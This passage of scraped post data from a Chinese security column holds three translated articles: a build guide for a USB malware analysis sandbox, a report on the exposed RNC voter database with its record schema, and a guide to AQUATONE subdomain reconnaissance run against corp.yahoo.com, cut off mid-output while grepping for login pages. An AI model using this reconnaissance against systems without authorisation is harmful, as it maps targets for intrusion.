ARMORY是一台独立的计算机，不过，我可以附加其他USB设备，例如键盘，USB显示器，以太网或WiFi加密狗等。只要有Linux驱动程序，你就可以将它们附加到USB ARMORY。通过这种方式，构建一个小型安全隔离沙箱的计算机是非常容易的。</p><p>由于之前，我曾为旅游中所连接的WiFi热点建立过防火墙，其具体想法就是将一个WiFi接口连接到公共网络，另一个WiFi或以太网加密狗连接到我的个人设备。通过这种方式，你就可以将你的设备与公共网络隔离开来，这样就避免了潜在的恶意攻击。除此之外，你还可以轻松利用这种方法添加TOR路由和任何其他好玩的功能，比如利用DNS隧道绕过烦人的机场网络等。</p><p>所以借助上面的经验，我也可以建立基于USB armory的分析器。</p><p>硬件要求：</p><code lang=\"text\">USB ARMORY\nUSB ARMORY主机适配器\n串行到USB适配器\nUSB 2.0 / 3.0 HUB\nJUE130 USB 3.0千兆以太网适配器\n一个或多个4GB + microSD卡兼容性列表\n至少有一条micro-USB电缆（用于将主机适配器连接到电源）\n电池电源组</code><p>软件要求：</p><p>Debian 8.x主机</p><p>设计如下：<img src=\"v2-1c148f86b629545d261831bb7ba8d4ae.png\" data-rawwidth=\"898\" data-rawheight=\"860\"></p><p>在这种设计中，电池电源组用于为所有电源供电，但如果能自由移动，则自供电的USB集线器也可以正常工作。 USB ARMORY主机适配器也可以作为USB condom使用（只能充电的数据线），这意味着我可以安全地从普通的USB端口供电，如果需要的话，电池组还可以为USB供电，如果连接的设备太耗电，例如大硬盘，则可能需要额外的电源。 USB ARMORY连接到主机适配器的一端，而USB集线器连接到另一端，剩余的USB设备则连接到USB集线器。 USB以太网适配器可以连接到我要复制数据的网络中，以提高防火墙在USB ARMORY网络和我想要访问的任何网络之间的传输安全。</p><p>另外，反向路径和其他Linux发行版有几个预编译的安装映像，它们的默认配置是非主机模式。要启用这些映像上的主机模式，请参阅本文档<a href=\"https://github.com/inversepath/usbarmory/wiki/Host-adapter\" data-editable=\"true\" data-title=\"inversepath/usbarmory\">inversepath/usbarmory</a>。</p><p>我没有在本次使用预编译的映像，因为在Linux内核没有组件支持我买的USB以太网适配器（虽然制造商提供的驱动程序可用），所以需要我用软件来进行自定义设置。最近的反向路径提供了一个Makefile来构建基于Debian的映像（而不是像以前一样复制和粘贴一系列命令）。</p><p>于是，我自定义了一个名为Armory Sandbox的 fork()函数，还给它增加了一些额外的取证软件包，还有一个Linux内核配置，其中包含了所有必需的驱动程序，例如USB以太网适配器，还有其他文件系统，例如HFS +。这些配置，都是为了支持我在目标USB设备中找到常见文件系统。如果在实践中，你还有任何特定要求，就需要生成新的内核配置文件并更新包含的内核配置文件。默认的Armory Sandbox内核配置位于kernel_conf / armorysandbox_linux-4.9.config。如果要更新内核配置，你需要执行以下操作：</p><code lang=\"text\">KBUILD_BUILD_USER=usbarmory KBUILD_BUILD_HOST=usbarmory ARCH=arm CROSS_COMPILE=arm-none-eabi- make menuconfig</code><p>保存配置文件并复制旧配置文件或直接将其保存在内核配置，如果你不这样做，那么ARM CPU将为主机（在这种情况下为x86）建配置文件，如果你使用非graphical内核配置模式则更好，这样就可以使用其他make配置选项。</p><p>但在构建自己的映像之前，我还需要在Debian主机中安装一些所需的软件来构建根文件系统所需的ARM 交叉编译器和软件。</p><code lang=\"text\">sudo apt-get install bc binfmt-support bzip2 gcc gcc-arm-none-eabi git gnupg make parted qemu-user-static wget xz-utils zip sudo debootstrap</code><p>由于Makefile要验证内核和U-Boot签名，因此我需要导入GPG密钥：</p><code lang=\"text\">gpg --keyserver hkp://keys.gnupg.net --recv-keys 38DBBDC86092693E\ngpg --keyserver hkp://keys.gnupg.net --recv-keys 87F9F635D31D7652</code><p>现在我就可以交叉编译ARM目标的代码。</p><p>要开始构建Armory Sandbox映像，首先要将repo复制到Debian主机中：</p><code lang=\"text\">git clone https://github.com/gdbinit/armorysandbox</code><p>编辑Makefile并将你自己的ssh密钥添加到SSH_KEY变量中。</p><p>在实践中，你可以将默认的Debian镜像更改为更快的镜像，只需编辑DEBIAN_MIRROR变量即可。你也可能希望将默认的3500Mb图像大小设置为变量IMAGE_SIZE。假设用的是4GB的最小microSD卡。如果内存更大，我可以调整分区的大小以后的FAQ。如果你不想调整大小，你可以更改此选项，只不过需要更长的时间才能写入microSD卡。</p><p>默认帐户是usbarmory，密码与用户名相同。你应该更改默认密码（编辑Makefile，查找CHANGEME字符串）。</p><p>下一步就是通过四个步骤完成最终构建原始映像：</p><code lang=\"text\">1.Debian文件系统和软件包，\n2.Linux内核，\n3.U-Boot的\n4.将内核和U-Boot安装到原始映像中。</code><p>如果一切顺利，你最终得到一个armorysandbox-debian_jessie-base_image-YYYYMMDD.raw映像文件。现在我只需要将映像文件写入microSD卡：</p><p>Linux（使用dmesg验证目标终端）：</p><code lang=\"text\">sudo dd if=armorysandbox-debian_jessie-base_image-YYYYMMDD.raw of=/dev/sdX bs=1M conv=fsync</code><p>Mac OS X（使用diskutil列表验证目标终端）：</p><code lang=\"text\">sudo dd if=armorysandbox-debian_jessie-base_image-YYYYMMDD.raw of=/dev/rdiskN bs=1m</code><p>你不需要关心在microSD卡中分区的问题，此命令将擦除microSD卡中的所有内容，生成的原始映像已包含必要的分区信息。你要做的就是按Enter键，仔细检查目标设备。</p><p>dd完成写入映像后，然后就可以从主机中取出microSD卡，将其插入USB ARMORY。打开USB ARMORY的电源并连接串行控制台，并验证其是否正确启动。</p><p>默认的IP地址是10.1.0.1/24，没有任何配置的网关（至少默认情况下我不希望这个设备数据包被传送到任何地方）。你只需向使用网络的设备添加IP别名即可访问USB armory沙箱。</p><p>Mac OS X：</p><code lang=\"text\">sudo ifconfig en0 alias 10.1.0.2 255.255.255.0</code><p>如果这个网络不行，只需编辑Makefile，然后再通过串口控制台登录，然后修改/ etc / network / interfaces配置文件即可。</p><p>如果要启用Secure Boot功能，应阅读Inverse Path安全引导文档。请记住，由于本文提到的安全问题，此功能目前不太有利用价值，但在某些场景中仍然有用。但具体我无法评估，例如某些恶意软件/漏洞可能能够对安全启动进行攻击，并以某种方式攻击我的设置。本文之所以没有包含这个设置的最大的原因是这个功能涉及永久性和不可逆转的功能。</p><p>要添加软件包，你需要编辑Makefile并使用qemu-debootstrap命令修改该行。如果你真的需要有问题的程序包，并且无法构建映像，则可以随时通过apt-get或dpkg添加它们（可以手动上传它们，也可以将armory连接到Internet）。</p><p>当Armory Sandbox完成启动时，你可以通过串行控制台或SSH登录，插入任何支持的USB设备，挂载并分析其文件系统，或将其映像到另一台设备上进行分析。完成分析后，你可以放弃microSD，如果你想要真正安全，或者将其擦除并重写你构建的Armory Sandbox映像的话。就会带来了一个额外的问题，如何安全地擦除microSD卡？</p><p>本文的目的是首先尝试建立一个隔离的USB分析系统。例如，Circl.lu已经使用Raspberry Pi设备构建了CIRCLean USB Sanitizer。该设备的问题是它尝试自动将不受信任的文档转换为另一种格式，对我来说更重要的是它能使用相同的“隔离”设备访问感染的USB和好的USB。我更喜欢通过网络来解决问题，因为我可以在隔离设备和台式机之间添加防火墙。此外，我不想自动化任何数据转换，我只想要一个安全隔离网闸。</p><br><blockquote>本文翻译自：<a href=\"https://sentinelone.com/blogs/armory-sandbox-building-usb-analyzer-usb-armory/\" data-editable=\"true\" data-title=\"Armory Sandbox - Building a USB analyzer with USB armory\">Armory Sandbox - Building a USB analyzer with USB armory</a> ，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/technology/5525.html\" data-editable=\"true\" data-title=\"基于USB armory 制作一个USB恶意软件分析器\" class=\"\">基于USB armory 制作一个USB恶意软件分析器</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-21T03:15:24.000Z","canComment":false,"commentPermission":"anyone","commentCount":3,"likeCount":18,"state":"published","isLiked":false,"slug":"27489877","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-21T11:15:24+08:00","links":{"comments":"/api/posts/27489877/comments"},"url":"/p/27489877","titleImage":"","summary":"","href":"/api/posts/27489877","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":3,"likesCount":18},"27489946":{"title":"深度解密：美国近2亿选民身份信息泄漏始末","author":"hou-hou-4-12","content":"<h2><strong>事件概要</strong></h2><p>近日，UpGuard公司网络风险小组的研究人员发现了一个错误配置的数据库，其中包含超过1.98亿美国选民的敏感个人资料。而此次泄漏事件正是由为共和党全国委员会（Republican National Committee，简称RNC）提供数据分析和服务的Deep Root Analytics公司所造成的。据悉，这1.1TB的数据就存储在Deep Root Analytics公司一个可公开访问的亚马逊云服务器上，没有密码保护，任何人都可以访问。<img src=\"v2-5718d131c381bf4905cc4200a6ab67db.png\" data-rawwidth=\"2153\" data-rawheight=\"2083\"></p><p>这1.1TB的数据共计包含近2亿选民的个人信息，除了姓名、出生日期、家庭地址和电话号码等信息外，这些记录还包括政治团体采用的先进情绪分析来预测个人选民如何处理热门问题，如枪支所有权、干细胞研究和堕胎权、以及宗教信仰和种族等。</p><p>此次数据泄漏事件的影响远远超出之前的墨西哥和菲律宾选举数据泄漏案，已经危害了美国61%的公民的个人信息安全。</p><p>根据曝光的数据，我们可以更深入地了解大数据在美国总统大选中发挥的重要作用。RNC通过利用Deep Root Analytics、TargetPoint以及Data Trust公司的大数据分析技术来影响潜在选民并准确地预测其行为。</p><h2><strong>发现过程</strong></h2><p>6月12日傍晚，UpGuard网络风险分析师Chris Vickery（墨西哥选民数据泄漏也是他发现的）在代表网络风险小组（UpGuard公司的研究团队，致力于寻找、保护和提升公民对此类安全事件的认知）搜索配置错误的数据源时，发现了一个开放的云存储库。</p><p>该数据存储库（Amazon Web Services S3 bucket）没有任何保护措施，因此，任何有互联网连接的人，只需要导航到包含6个字符的亚马逊子域名：“dra-dw”中就可以访问这一帮助特朗普赢取胜利的共和党数据库。</p><p>在检查内容时，我们发现“dra-dw”其实就是“Deep Root Analytics数据仓库”。“数据仓库（data warehouse）”的概念在现代企业中很常见——实质上，它是专门为复杂分析而准备的大规模数据集。Deep Root Analytics公司证实称，他们拥有并运营该dra-dw bucket。</p><p>分析发现，该“数据仓库”中共有1.1TB的数据——大约相当于500小时的视频数据，且都是完全能够下载的。这些文件清楚地表明了该资料库的政治重要性，因为文件的目录都是以一些有影响力的共和党政治组织命名。</p><p>但这1.1TB的数据并不是全部，“数据仓库”中还有24TB的数据，但是已被安全配置为“防止公共访问”。最终，存储在错误配置的数据库中的数据量相当于大约100亿页文本的大小。</p><p>目前，我们不太清楚那些不可访问的文件的政治重要性，例如名为“for_strategy_xroads_updated_FINAL”的文件，在某种意义上可能指向的是“美国十字路口（American Crossroads）”——目前全美规模最大的super PAC，由小布什总统的政治顾问、“筹款神童”Karl Rove联合创建，在2016年的选举融资中表现非常活跃。此外，我们还发现了缓存的Reddit帖子，保存为文本：<img src=\"v2-c5756fd8736169872ae8c398dd8f56f2.png\" data-rawwidth=\"1373\" data-rawheight=\"843\"></p><p>6月12日-14日期间，Vickery下载了这1.1TB的可公开访问的文件，其中包含两个名为“data_trust”和“target_point”的关键目录。</p><h2><strong>操作过程</strong></h2><p>Deep Root Analytics是一个共和党的数据公司供应商，由Alex Lundry（共和党数据科学家，在2012年Mitt Romney参与总统竞选时担任数据总监）于2013年创建成立。该公司声称能够通过大数据分析“微目标定位（microtargeting）”，更有效地实现人口统计，从而帮助客户在购买广告时作出更明智的决策。此外，它还为公司、游说团体和GOP政治运动提供数据分析服务，力求实现针对特定目标的人口统计。</p><p>不过为了赢得选举，共和党还需要其他数据分析公司提供数据资源，其中一家就是Data Trust——一家位于华盛顿的数据咨询公司，该公司的策略是为共和党打造一个每名竞选人都能适用的公用数据池。</p><p>在Deep Root Analytics数据库中，有一个名为“data_trust”的文件夹，其中主要包含两个文件存储库——2008年总统大选的256 GB文件夹和2012年的233 GB文件夹，每个文件夹包含51个文件——每个州都有一个，包括哥伦比亚特区。</p><p>Vickery发现了如下电子数据表，确认这些文件包含精确而又敏感的个人信息，以下列出的是.csv格式：</p><code lang=\"text\">\"RNCID\", \"RNC_RegID\", \"State\", \"SOURCEID\", \"Juriscode\", \"Jurisname\", \n\"CountyFIPS\", \"MCD\", \"CNTY\", \"Town\", \"Ward\", \"Precinct\", \"Ballotbox\", \n\"PrecinctName\", \"CD_Current\", \"CD_NextElection\", \"SD_Current\", \n\"SDProper_Current\", \"SD_NextElection\", \"SDProper_NextElection\", \n\"LD_Current\", \"LDS_Current\", \"LDProper_Current\", \"LD_NextElection\", \n\"LDS_NextElection\", \"LDProper_NextElection\", \"NamePrefix\", \"FirstName\", \n\"MiddleName\", \"LastName\", \"NameSuffix\", \"Sex\", \"BirthYear\", \n\"BirthMonth\", \"BirthDay\", \"OfficialParty\", \"StateCalcParty\", \n\"RNCCalcParty\", \"StateVoterID\", \"JurisdictionVoterID\", \"AffidavitID\", \n\"LegacyID\", \"LastActiveDate\", \"RegistrationDate\", \"VoterStatus\", \n\"PermAbs\", \"SelfReportedDemographic\", \"ModeledEthnicity\", \n\"ModeledReligion\", \"ModeledEthnicGroup\", \"HHSEQ\", \"HTSEQ\", \n\"RegistrationAddr1\", \"RegistrationAddr2\", \"RegHouseNum\", \"RegHouseSfx\", \n\"RegStPrefix\", \"RegStName\", \"RegStType\", \"RegstPost\", \"RegUnitType\", \n\"RegUnitNumber\", \"RegCity\", \"RegSta\", \"RegZip5\", \"RegZip4\", \n\"RegLatitude\", \"RegLongitude\", \"RegGeocodeLevel\", \"RADR_LastCleanse\", \n\"RADR_LastGeoCode\", \"RADR_LastCOA\", \"ChangeOfAddress\", \"COADate\", \n\"COAType\", \"MailingAddr1\", \"MailingAddr2\", \"MailHouseNum\", \n\"MailHouseSfx\", \"MailStPrefix\", \"MailStName\", \"MailStType\", \n\"MailStPost\", \"MailUnitType\", \"MailUnitNumber\", \"MailCity\", \"MailSta\", \n\"MailZip5\", \"MailZip4\", \"MailSortCodeRoute\", \"MailDeliveryPt\", \n\"MailDeliveryPtChkDigit\", \"MailLineOfTravel\", \"MailLineOfTravelOrder\", \n\"MailDPVStatus\", \"MADR_LastCleanse\", \"MADR_LastCOA\", \"AreaCode\", \n\"TelephoneNUm\", \"TelSourceCode\", \"TelMatchLevel\", \"TelReliability\", \n\"FTC_DoNotCall\", \"PhoneAppendDate\", \"VH12G\", \"VH12P\", \"VH12PP\", \"VH11G\",\n \"VH11P\", \"VH10G\", \"VH10P\", \"VH09G\", \"VH09P\", \"VH08G\", \"VH08P\", \n\"VH08PP\", \"VH07G\", \"VH07P\", \"VH06G\", \"VH06P\", \"VH05G\", \"VH05P\", \"VH04G\",\n \"VH04P\", \"VH04PP\", \"VH03G\", \"VH03P\", \"VH02G\", \"VH02P\", \"MT10_Party\", \n\"MT10_GenericBallot\", \"MT10_Turnout\", \"MT10_ObamaDisapproval\", \n\"MT10_Jobs\", \"MT10_Healthcare\", \"MT10_SoCo\", \"PG01\", \"PG02\", \"PG03\", \n\"PG04\", \"PG05\", \"PG06\", \"PG07\", \"PG08\", \"PG09\", \"PG10\", \"PG11\", \"PG12\", \n\"PG13\", \"PG14\", \"PG15\", \"PG16\", \"PG17\", \"PG18\", \"PG19\", \"PG20\", \"PG21\", \n\"PG22\", \"PG23\", \"PG24\", \"PG25\", \"PG26\", \"PG27\", \"PG28\", \"PG29\", \"PG30\", \n\"PG31\", \"PG32\", \"PG33\", \"PG34\", \"PG35\", \"PG36\", \"PG37\", \"PG38\", \"PG39\"</code><p>文件中包含了选民的姓名、出生日期、家庭住址、电话号码、注册党派、自述的种族以及选民登记状态，还包括政治团体采用的先进情绪分析来预测个人选民如何处理热门问题，如枪支所有权，干细胞研究和堕胎权，以及宗教信仰和种族等。</p><p>“data_trust”中还包含一个关于2016年选举的较小的文件夹，与2008年和2012年的文件夹不同，2016年的文件夹中只包含俄亥俄和佛罗里达州的.csv文件，可以看出这两个是最重要的战场。需要注意的是，整个“data_trust”文件夹可以被任何访问该数据库的人任意下载。</p><p>除了“data_trust”，数据库中还有一个名为“target_point”的文件夹。TargetPoint是一家总部位于弗吉尼亚州亚历山大市的“全方位市场研究和知识管理公司”，专门针对企业和政治客户进行“微目标定位（microtargeting）”的关键人口统计，曾在2008年Rudy Giuliani参加总统竞选、2008年McCain/Palin运动以及全国共和党参议院的连任活动中发挥重要作用。</p><p>TargetPoint 的联合创始人Alexander Gage曾担任总统候选人Mitt Romney的策略总监，他表示，</p><blockquote><p>微目标定位（Microtargeting）正试图揭开选民的政治DNA，掌握的信息越多，效果就会越好。</p></blockquote><p>在“target_point”文件夹中，有以Alteryx数据库格式（.yxdb，专为大规模数据分析设计的文件格式）保存的14个文件，大多数文件的最后更新日期在2017年1月中下旬，其中有几个标记为“联系人文件（Contact File）”，不同的日期表示更新时间。 该文件夹与上述的“data_trust”文件夹一样，没有任何安全保护，任何人都可以进行访问下载。</p><p>分析还发现，RNC的主要数据承包商除了Data Trust、TargetPoint Consulting、以及Deep Root Analytics外，还包括Causeway Solutions公司，它们通过一家名为“Needle Drop”的子公司与RNC进行合作。据悉，RNC支付数据库中提到的两家公司——Data Trust和TargetPoint的资金总额已经超过了500万美元。</p><p>根据联邦选举委员会的报告显示，2015年1月-2016年11月期间，RNC已经向TargetPoint公司支付了420万美元的数据服务费，向Causeway支付了50万美元。另外，还支付了Deep Root公司983,000美元。</p><h2><strong>总结</strong></h2><p>此次数据泄漏事件再一次引发了美国公民对其最特权信息的隐私和安全性担忧。美国选举进程的完整性已经被一系列针对国家选民数据库的网络攻击行为所破坏，这进一步引发了民众恐慌，不得不承认的是，网络风险确实会对一个国家的民主和政府机构构成威胁。</p><p>如此庞大的国家数据库可以在线创建和托管，即使是进行了安全配置一样会令人不安。这种收集大量个人敏感数据并将其存储在不安全的数据库中的行为，也进一步刺激了民众对于私营企业和政治运动的问责浪潮。</p><p>随着对于技术的依赖性进一步增加，以及数字平台的加速部署，网络风险面也在不断增长。除了黑市上的身份盗窃、欺诈和转售泄漏数据外，数据分析能力还可以被应用于其他更多途径——市场营销、垃圾邮件以及高级政治目标等。如果利益相关者可以遵循收集和存储数据的一些简单规则，就可以防止这些潜在的私人信息滥用现象。</p><p>这些泄漏数据揭露的根本问题并不罕见，大数据对选举的重要意义大家应该都略有了解。但是，现在我们要知道的是谁该为此次泄漏事件负责——被遗忘的数据库、第三方供应商风险、不当的权限，结合RNC的竞选操作共同制造了这场几乎前所未有的数据泄漏案。</p><p>虽然这场泄漏事件造成了非常深远的影响，但是如果所有平台上的网络弹性（cyber resilience，也称为运维弹性，是指网络在遇到灾难事件时快速恢复和继续运行的能力）精神不能够成为所有面向互联网的系统的通信语言的话，未来还将发生更为严重的泄漏事件，造成更具破坏性的影响。</p><br><blockquote>本文翻译自<a href=\"https://www.upguard.com/breaches/the-rnc-files\" data-editable=\"true\" data-title=\"The RNC Files: Inside the Largest US Voter Data Leak\">The RNC Files: Inside the Largest US Voter Data Leak</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/5575.html\" data-editable=\"true\" data-title=\"深度解密：美国近2亿选民身份信息泄漏始末 - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">深度解密：美国近2亿选民身份信息泄漏始末 - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-21T02:52:57.000Z","canComment":false,"commentPermission":"anyone","commentCount":1,"likeCount":5,"state":"published","isLiked":false,"slug":"27489946","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-21T10:52:57+08:00","links":{"comments":"/api/posts/27489946/comments"},"url":"/p/27489946","titleImage":"","summary":"","href":"/api/posts/27489946","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":1,"likesCount":5},"27504418":{"title":"子域名枚举、探测工具AQUATONE 使用指南","author":"hou-hou-4-12","content":"<p>知道某一事物的攻击面是防御和攻击的关键。例如当我们谈到域名时，发现其攻击面的一个非常常见的方法是发现其子域。而通过子域名将能够增加发现潜在目标网站的数量，并对其IP范围进一步探索。</p><p>众所周知，我们常见的有很多的子域名枚举的工具，例如 Fierce， SubBrute和 Gobuster，然而，今天我所要讲的 AQUATONE不仅采取了经典的暴力计数，还利用各种开源和互联网服务，大大增加了发现的子域数量。当发现子域时，不但可以使用AQUATONE来探测主机的公共HTTP端口，并收集响应头，同时还能够进行HTML和屏幕截图，以编译成一个不错的报告，便于分析。</p><p>为了使工具尽可能灵活，AQUATONE分为三个独立的命令，因此如果您只想使用它来进行子域发现，而不需要任何扫描或屏幕截图，也可以轻松实现。让我们来看看AQUATONE评估的三个阶段：</p><h2><strong>第一阶段：发现</strong></h2><p>为了演示AQUATONE的使用情况，我们将对该域corp.yahoo.com进行评估 。我之所以选择这个域名，是因为Yahoo的 Bug Bounty程序包含了所有的 *.yahoo.com范围，所以运行像AQUATONE这样的工具应该是很不错的。</p><p>启动aquatone-discover工具：<img src=\"v2-de3870eed9aa976e9ca75d513f81b20d.png\" data-rawwidth=\"450\" data-rawheight=\"266\"></p><p>首先aquatone-discover要确定目标域的权威名称服务器。之所以使用这些名称服务器，是因为其可确保信息是最新的，并且能够使我们的发现最大化。</p><p>它还可以快速测试目标域是否配置为通配符域，因为这些域可能会产生大量的误报。如果域是通配符，它将识别可能的通配符响应并将其过滤掉。幸运的是corp.yahoo.com没有配置为通配符。</p><p>在名称服务器和通配符检测之后，它继续向每个子域收集器模块询问目标域下的潜在子域。 aquatone-discover装有以下收集器模块：</p><code lang=\"text\">字典暴力\nDNSDB.org\nGoogle透明度报告\nHackerTarget\nNetcraft\nShodan（需要API密钥）\nThreatCrowd\nVirusTotal（需要API密钥）</code><p>收集器模块返回了总共12.282个潜在子域，aquaone对其进行了分析并尝试分解。<img src=\"v2-ba30a6a8bbb8d5d17fe50ea602501de1.png\" data-rawwidth=\"450\" data-rawheight=\"265\"></p><p>过了一段时间，aquatone-discover已经列出了名单，共发现了一个1.958个活的子域名。它还分析了IP，并列出了可用于进一步探测的潜在IP子网范围：<img src=\"v2-3e5530ea8b4151401d2828fda649824f.png\" data-rawwidth=\"450\" data-rawheight=\"266\"></p><p>另外，它还将发现的主机写入自动为目标域创建的aquatone评估目录中的文件。hosts.txt 包含逗号分隔的域名及其IP：<img src=\"v2-2fb9a31a03d604e36b5e5ab889fd48d3.png\" data-rawwidth=\"970\" data-rawheight=\"420\"></p><p>该文件可以通过常用的命令行工具进行切片和分割，并加载到您可能使用的其他工具中。hosts.json包含与JSON格式相同的信息，并被其他AQUATONE工具使用，但如果要使用自定义脚本的信息也完全没有问题。</p><h2><strong>第二阶段：扫描</strong></h2><p>能够发现corp.yahoo.com的一堆子域名其实已经很有用了。事实上我们可以在这里停下来，开始使用其他工具或手动浏览，但是我们仍然可以选择让aquatone-scan为我们努力寻找哪些主机可能会提供网页内容：<img src=\"v2-f4514fc454f4dc3a05055477a94f24b4.png\" data-rawwidth=\"450\" data-rawheight=\"320\"></p><p>aquatone-scan在不同的主机上找到了一堆开放的HTTP端口。默认情况下，它将扫描以下TCP端口：80,443,880,8080和8443，它们都是非常普通的Web服务端口。您当然可以使用该–ports 选项将其更改为您自己的端口列表，或指定其中一个内置列表别名：</p><code lang=\"text\">small：80,443\nmedium：80,443,880,8080,8443（与默认相同）\nlarge：80,81,443,591,2082,2087,2095,2096,3000,8,000,800,1808,8080,8083,8443,8834,8888\nhuge：80,81,300,443,591,593,832,981,1010,1311,2082,2087,2095,2096,2480,3000,31228,3333,44243,4567,4711,4712,4993,5000,5104 ，5108,5800,65343,7000,7396,77474,80008,1008,\n8008,8014,8042,8069,8080,8081,8088,8090,8091,8118,8133,8172,8222,8243,88080,8281,8333 ，8443,8500,8834,8880,8888,8893,9000,903,49060,98080,9909,991,992,9443,99800,99981,\n12443,16080,18091,18092,20720,28017</code><p>使用较大的端口列表肯定会让您发现更多的Web服务，但它也将增加aquatone-scan完成所需的时间。</p><p>aquatone-scan在评估目录中创建了两个新文件corp.yahoo.com：open_ports.txt是一个简单的以逗号分隔的主机列表及其打开的端口：<img src=\"v2-d401b18fb7cc022d7c70726f6d894fa3.png\" data-rawwidth=\"978\" data-rawheight=\"469\"></p><p>urls.txt 包含可用于在打开的端口上请求网页的URL列表：<img src=\"v2-0ff75e64fc284cc157beac34c4518892.png\" data-rawwidth=\"983\" data-rawheight=\"430\"></p><p>这些文件可用于下一阶段的评估，但也可以方便地加载到其他工具，如EyeWitness 或切片和分割grep, cut, awk,等。</p><h2><strong>第三阶段：汇总</strong></h2><p>我们现在已经知道了*.corp.yahoo.com的子域名和开放端口，现在该用aquatone-gather来收集HTTP响应和截图，并将其编译成一个不错的报告了：<img src=\"v2-7bf43a64122afaeedb27e3c39df38823.png\" data-rawwidth=\"450\" data-rawheight=\"277\"></p><p>aquatone-gather从先前的AQUATONE工具创建的文件加载数据，并开始请求URL来收集HTTP响应和屏幕截图。而在幕后，它使用Nightmare来解决所有重要的请求和屏幕截图。</p><p>不幸的是，Nightmare和任何其他浏览器自动化工具一样，处理方式都有点片面，并且会在某些页面处理中失败，这一点可以在屏幕截图中看到。当然我认为失败率是可以接受的，但我们仍然需要注意这一事情。</p><p>过了一会儿，它处理完了所有的网页：<img src=\"v2-0b93a1efb124444b8c20f69d0c74a656.png\" data-rawwidth=\"450\" data-rawheight=\"176\"></p><p>接下来，它将生成打印成功与失败的页面处理的简短摘要和生成的报告页面的列表，但这并不是aquatone-gather唯一生成的文件。当我们导航到评估文件夹中，我们可以看到三个新的文件夹：headers，html，report和screenshots。</p><p>该headers文件夹中包含来自所有页面访问的响应标题的文本文件：<img src=\"v2-a2bf8682f716f1b418c04c76060d1a67.png\" data-rawwidth=\"983\" data-rawheight=\"310\"></p><p>从安全的角度来说，这些文件对grep和其他工具快速查找服务器技术信息和其他有趣的事情来说非常有用。</p><p>该html文件夹包含所有页面访问的HTML主体：<img src=\"v2-0c75307d1d654345455d07e193f2e698.png\" data-rawwidth=\"980\" data-rawheight=\"573\"></p><p>这些文件可以用于很多地方，这一点稍后再说。</p><p>顾名思义，该screenshots文件夹中包含所有页面访问的PNG屏幕截图：<img src=\"v2-a72dcdd82b3d2f3e469f867b236e122b.png\" data-rawwidth=\"981\" data-rawheight=\"408\"></p><p>事实上，您当然可以直接在文件夹中浏览这些截图，但是通过打开生成的HTML报告页面来分析它们可能更有用。<img src=\"v2-e0f631468e56b85186aa3d82351e3057.png\" data-rawwidth=\"450\" data-rawheight=\"270\"></p><p>报告将使用响应标题排列屏幕截图，以便您快速扫描收集的信息以获取有趣的页面。AQUATONE将突出显示可能会增加绿色背景和标题的标题，这可能会导致红色背景的安全问题。</p><h2><strong>CLI技巧</strong></h2><p>生成的报告是AQUATONE的最终产品，但是可以在评估文件夹中生成的所有原始文件也包含着大量有用的内容，因此，我非常建议你们能够学到我文章所讲的内容并将其应用范围扩大到诸如以下事情中：</p><p>获取服务器技术统计信息</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com/headers# cat * | grep 'Server:' | sort | uniq -c | sort -nr\n     13 Server: ATS\n      6 Server: Bomgar\n      1 Server: AkamaiGHostroot@kali:~/aquatone/corp.yahoo.com/headers#</code><p>查找更多子域</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '[a-z0-9-_.]+.corp.yahoo.com' | sort -ubomgar.corp.yahoo.com\nbouncer.by.corp.yahoo.com\nfast.corp.yahoo.com\nit.corp.yahoo.com\nrequest.corp.yahoo.com\nservices.corp.yahoo.comroot@kali:~/aquatone/corp.yahoo.com/html#</code><p>查找HTML注释</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '&lt;!--.*--&gt;'&lt;!--//--&gt;\n&lt;!-- Begin comScore Tag --&gt;\n&lt;!-- bouncer02.gh.bf1.yahoo.com Wed Jun 14 12:22:09 UTC 2017 --&gt;\n&lt;!-- bouncer12-os.gh.bf2.yahoo.com Wed Jun 14 12:22:29 UTC 2017 --&gt;\n&lt;!-- #doc4 --&gt;\n&lt;!-- .dw1 --&gt;\n&lt;!-- .dw4 --&gt;\n...\n&lt;!-- /.shmod --&gt;\n&lt;!-- SpaceID=0 timeout (ads1) --&gt;\n&lt;!-- src2.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 --&gt;\n&lt;!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:44 UTC 2017 --&gt;\n&lt;!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:51 UTC 2017 --&gt;\n&lt;!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:22:27 UTC 2017 --&gt;\n&lt;!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:21:57 UTC 2017 --&gt;\n&lt;!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 --&gt;\n&lt;!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:36 UTC 2017 --&gt;\n&lt;!-- URL: /::ProfilerTotal:557:1497442917838::Page Creation:40:1497442917838::user_ups:0:1497442917844::ydht_time:1:1497442917845::Maple Execution:518:1497442917878::Maple WS:41:1497442917879::SHAdModule:457:1497442917921::SHLeftNavigationModule:7:1497442918378::SHHeroModule:0:1497442918385::SHBrowseShoppingModule:5:1497442918385::SHSocialNewBrowseModule:0:1497442918390::SHCopyrightModule:1:1497442918391:: --&gt;\n&lt;!-- web23.shop.bf1.yahoo.com --&gt;\n&lt;!-- web23.shop.bf1.yahoo.com Wed Jun 14 12:21:57 UTC 2017 --&gt;</code><p>查找带有密码字段的页面</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com/html# grep 'type=\"password\"' *bouncer_gh_corp_yahoo_com__72_30_2_113__80.html: &lt;dd&gt;&lt;input class=\"input-large\" name=\"pass_word\" type=\"password\" id=\"pass_word\" 